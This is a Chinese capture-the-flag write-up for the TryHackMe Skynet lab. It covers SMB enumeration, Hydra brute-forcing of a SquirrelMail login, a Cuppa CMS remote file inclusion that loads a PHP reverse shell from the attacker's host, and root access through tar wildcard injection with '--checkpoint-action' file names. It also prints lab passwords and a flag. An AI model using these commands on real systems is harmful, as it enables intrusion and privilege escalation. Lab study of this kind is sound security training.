THM-Skynet-Writeup

news/2024/11/17 13:29:33/文章来源:https://www.cnblogs.com/Cohawa/p/18294439

通过学习相关知识点:攻破Linux目标机器并完成提权操作。

image

部署并渗透目标机器

step1

使用Nmap扫描端口

nmap -p- -sC -sV -T4 -v 10.10.164.81

image

139/445端口开放,可知目标机开启了SMB服务

枚举SMB共享

smbclient -L \\10.10.164.81

image

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

使用命令连接SMB服务中的匿名账户并获取所需文件

smbclient  // 10.10.164.81/anonymous

image

分析attention.txt文本内容:管理员通知员工及时修改密码修改,所以最近可能发生过密码更改行为,根据文本内容中的署名及SMB服务账户名称--管理员账户为milesdyson

我们还得到了一份密码记录,该密码记录中可能包含了目标站点的密码信息

使用gobuster扫描目录(针对目标站点)

gobuster dir -u http://10.10.164.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

image

访问目标站点的二级目录/squirrelmail(10.10.164.81/squirrelmail)结果会自动跳转至/squirrelmail/src/login.php页面--这是一个邮件系统的登录页面

image

结合已知信息使用Hydra 爆破上图中的邮件服务器登录页面

hydra-l milesdyson -P log1.txt 10.10.164.81 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

image

image

破解得到的结果:milesdyson cyborg007haloterminator

step2

登录邮件服务器并查看邮件信息

访问10.10.164.81/squirrelmail/src/login.php页面进行登录即可

image

image

由邮件信息可知,SMB账户milesdyson的新密码为:)s{A&2Z=F^n_E.B`

登录SMB账户

smbclient -U milesdyson //10.10.164.81/milesdyson

image

查看文本文件内容

image

获取到的有效信息:二级目录/45kra24zxs28v3yd

image

step3

针对隐藏二级目录进行目标扫描

gobuster dir -u http://10.10.164.81/45kra24zxs28v3yd/ -w /usr/share/wordlists/</span>dirbuster/directory-list-2.3-medium.txt --no-error

image

得到CMS后台管理的登录页面:http://10.10.164.81/45kra24zxs28v3yd/administrator/

image

CMS信息:Cuppa CMS

根据CMS信息查找exp

在https://www.exploit-db.com/上搜索关键字Cuppa以查找Cuppa CMS相关的漏洞exp

image

step4

构造payload以获取目标shell

继续查看相关exp的利用方法

image

我们可以构造如下的远程文件包含payload,在浏览器执行即可

http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php 

原理:利用相关CMS的远程文件包含漏洞,让目标页面远程包含--本地攻击机所开启的简易服务器上的反向shell文件,这样我们在浏览器中一旦输入上述payload 就能让目标页面弹一个shell到我们的本地攻击机。

我们首先要在本地机上建立并修改好一个可使用的反向shell文件(主要是修改shell文件内容中的ip信息和端口信息),然后我们再在本地机上开启一个简易的服务器以便目标服务器实现远程包含,我们还需要建立一个Netcat监听器以便接收来自目标服务器的shell。

image

image

完成上述操作后,我们在本地机的浏览器中针对目标页面 执行远程包含漏洞的相关payload即可

http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.16.58:8000/php-reverse-shell.php

image

查看user flag

我们已经成功获取到目标shell,所以利用shell界面查看user flag即可

which python #验证目标机有无Python环境
python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell

image

user flag:7ce5c2109a40f958099283600a9ae807

imagehttps://img2023.cnblogs.com/blog/2857591/202302/2857591-20230210185222563-211659773.png

step5

进行提权操作

继续使用shell界面,进入backups目录并查看其中的文件内容

image

由上图可知以下信息:

backups目录下有一个backup.sh文件,其内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;

通过查看/etc/crontab即定时任务可知--刚才描述的backups目录下的backup.sh文件是一个定时任务,该.sh脚本每分钟都会以root身份执行。

在查询 GTFOBins 网站后,我们发现通过tar命令可以利用一个名为–checkpoint的参数,该参数允许在每次归档 X 个文件时(X的默认值为10)显示“进度”消息, –checkpoint还可以与 –checkpoint-action 标志串联使用,–checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

结合前述已知信息:由于backups目录下的backup.sh脚本中使用的通配符* 将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

在/var/www/html目录下创建一个BASH脚本,该脚本的执行结果将创建一个实质为bash副本的 SUID 二进制文件,我们将该脚本命名为newroot.sh:

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh

image

继续在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch"/var/www/html/--checkpoint=1"
touch"/var/www/html/--checkpoint-action=exec=sh newroot.sh"

image

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot),我们可以使用 -p 标志执行该SUID文件,这将允许以该文件的所有者身份(root)执行此二进制文件,进而可以根据此二进制文件的内容切换到root shell。

cd/tmp
ls
/tmp/nroot -p
whoami

image

查看root flag

通过刚才获得的root shell界面查找对应flag即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/741782.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CAD可以转成PDF吗?有哪些转换的方法?

在CAD制图过程中,我们可能会遇到这样的问题:完成CAD制图后,为了方便阅览,经常会直接输出成PDF格式,输出完成后,打开一看,发现和原来的图纸差距很大,输出PDF文字显示不全,遇到这种情况该如何处理呢?给大家分享2个CAD转PDF的好用的转换方法。 方法一:使用转换工具 ilo…

易优cms安装数据库提示写入表ey_archives记录失败,请刷新重试

清空数据库,重新试试!不行清空后可以切换下其它版本的数据库。 实在因为空间环境问题,可以直接导入数据库方法安装,然后改下网站配置文件就可以了。补充:有一种特殊情况是防火墙拦截了, 还有一种可能是空间满了, 需要挨个排查一下。本文来自博客园,作者:黄文Rex,转载…

易优cms网站友情链接,设置新窗口打开无效

<a href="{$field.url}" {$field.target} target="_blank" title="{$field.title}">{$field.title}</a>在模板里面 友情链接里面得A标签里面添加{$field.target} 标签 即可 {eyou:flink type=text row=100 titlelen=20} <a href=…

jpg格式图片如何转换成pdf文件?

图片可以转换成PD吗?你们都是怎么转换的?用了什么转换器呢?要将jpg格式转换成PDF,说难不难,说简单也不简单,没有转换不了的格式,只有不好用的转换器罢了。下面来给大家介绍几个能将jpg转换成pdf的简单方法,能快速帮你实现转换哦! 方法一:在线工具进行转换 ilovepdf中…

全英文计算机科学速成班概况

早期计算 为我们展示了 早期计算机计算发展史 1)机械计算时期:算盘(起源于中国 or 美索不达米亚) 航海仪,星象表, 时钟....使得计算更加简便。 往往是需求产生计算动力要求。这么来看其实算盘的计算能力挺强的,中国古代貌似一直在使用算盘。 2)近代-电子和机械计算: co…

windows系统远程桌面访问设置教程

windows10设置远程桌面连接 - 知乎 (zhihu.com) 1分钟远程访问内网远程桌面-贝锐官网 (oray.com) A电脑操作: 1,设置远程桌面计算机账户及密码 我的电脑右键-管理-计算机管理-本地用户和组-用户-选择用户-右键-设置密码(如果计算机管理没有本地用户和组,打开控制面板-用户账…

zookeeper下载安装启动

1、下载zookeeper安装包 下载地址:https://zookeeper.apache.org/releases.html 选择一个版本下载即可,如下图: 2、解压压缩包 在根目录下新建data和log文件夹,如下图:3、修改配置 进入conf目录,将zoo_sample.cfg文件,复制一份,重命名为zoo.cfg修改zoo.cfg配置文件,将…

基础篇

一、Linux的规则 1. 计算机概论 24.7.5 1.1 运作流程1.2 计算单位进位制 Kilo Mega Giga Tera Peta Exa Zetta二进制 1024 1024K 1024M 1024G 1024T 1024P 1024E十进制 1000 1000K 1000M 1000G 1000T 1000P 1000EDDR SDRAM:DDR是所谓的双倍数据传输速度,可以在一次周期中进行两…

【转载】如何完整删除Windows.old(详细教程)

原文链接:https://blog.csdn.net/bluewn/article/details/104325594 当你升级或重新安装Windows时,你的旧文件可能会被放在C:驱动器上的一个文件夹中,这个文件夹的标签是Windows.old。 这对于检索旧文件非常有用,但它会占用计算机上的一大块空间。你不能像删除大多数文件夹…

Linux中的DNS服务

DNS服务解析域名 域名---->IP正向解析:域名---->IP 反向解析:IP---->域名域名:haha.com 站点名:mail.haha.com【1】、DNS的分布式结构【2】、安装DNS软件包bind bind-chroot 在服务器端安装主程序:bind服务名:named 主要执行程序:/usr/sbin/named DNS协议默认端…

火柴人 VS 解析几何 | 数学大神科普

科普达人解析数学,普通人难以企及火柴人 VS 几何【解析版】火柴人 VS 几何火柴人 VS 物理

Profibus转ModbusTCP网关模块连马保与上位机通讯

Profibus转ModbusTCP网关模块(XD-ETHPB20)广泛应用于工业自动化领域。例如,可以将Profibus网络中的传感器数据转换为ModbusTCP协议,实现数据的实时监控和远程控制。本文介绍了如何利用Profibus转ModbusTCP网关(XD-ETHPB20)模块将带有Profibus_DP协议的马保连接到上位机上…